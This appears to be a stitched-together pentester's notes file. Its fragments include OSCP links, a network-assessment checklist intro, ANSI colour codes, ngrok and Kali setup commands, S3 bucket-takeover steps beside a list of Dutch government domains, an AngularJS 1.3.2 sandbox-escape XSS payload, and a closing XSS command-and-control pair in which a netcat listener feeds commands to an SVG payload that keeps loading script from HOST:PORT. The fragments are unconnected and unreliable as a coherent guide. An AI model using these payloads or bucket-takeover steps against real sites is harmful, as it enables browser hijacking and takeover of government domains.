PushkraJ PushkraJ99

1.3.2 and below

{{7*7}}

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';

24x7x365 SUPPORT http://www.captiongenerator.com/320492/Offsec-Student-Admins

https://natesubra.com/go/oscp

OSCP Syllabus:

https://www.offensive-security.com/information-security-training/penetration-testing-training-kali-linux/

Windows Privilege Escalation:

http://www.fuzzysecurity.com/tutorials/16.html

Hi dear reader, there are very few technical network security assessment checklist. So I thought to share my own on this. Have a look and enjoy. Lets talk about the scope first. If you are given a 1000 machines to perform VAPT, then here is your scope. Single machine can have 65535 ports open. Any single port can deploy any service software from the world. For example FTP can be run on smartftp, pureftpd etc.. Any single FTP software version (for example pureftpd 1.0.22) can have number of vulnerabilities available. So if you multiply all of these, then it is impossible for any auditor to go ahead and probe all ports manually and find services manually. Even if he/she is able to do it, it is impossible to check all vulnerabilities that are pertaining to a single port of a single machine. Hence we have to rely on scanners such as nexpose, nessus, openvas, coreimpact etc. Here are some quick tools and test cases that one can perform on commonly found ports in the network pentest.

Identify live host

Regular Colors

Value	Color
\e[0;30m	Black
\e[0;31m	Red
\e[0;32m	Green
\e[0;33m	Yellow
\e[0;34m	Blue
\e[0;35m	Purple

Ngrok

Overview

ngrok allows you to expose a web server running on your local machine to the internet.

Read more about ngrok in the official docs.

	https://publicwww.com/websites/NoSuchBucket/

	aws s3 mb s3://BUCKET_NAME
	aws s3 cp SOMEFILE s3://BUCKET_NAME SOMEFILE

	{
	"Version":"2018-01-01",
	"Statement":[{"Sid":"AddPerm","Effect":"Allow","Principal": "*",
	"Action":["s3:GetObject"],
	"Resource":["arn:aws:s3:::BUCKET_NAME/*"] }]

	knmi.nl
	rijksoverheid.nl
	overheid.nl
	duo.nl
	politie.nl
	koninklijkhuis.nl
	defensie.nl
	kadaster.nl
	werkenbijdefensie.nl
	cbs.nl

	apt update
	apt -y install wget gnupg dirmngr
	wget -q -O - https://archive.kali.org/archive-key.asc \| gpg --import
	gpg --keyserver hkp://keys.gnupg.net --recv-key 44C6513A8E4FB3D30875F758ED444FF07D8D0BF6
	echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
	gpg -a --export ED444FF07D8D0BF6 \| sudo apt-key add -
	apt update
	apt -y upgrade
	apt -y dist-upgrade
	apt -y autoremove --purge

	#!/bin/bash
	sudo service networking restart
	sudo service NetworkManager restart

	Attacker: while :; do printf "j$ "; read c; echo $c \| nc -lp PORT >/dev/null; done
	Victim: <svg/onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//HOST:PORT";d.body.appendChild(z)},0)>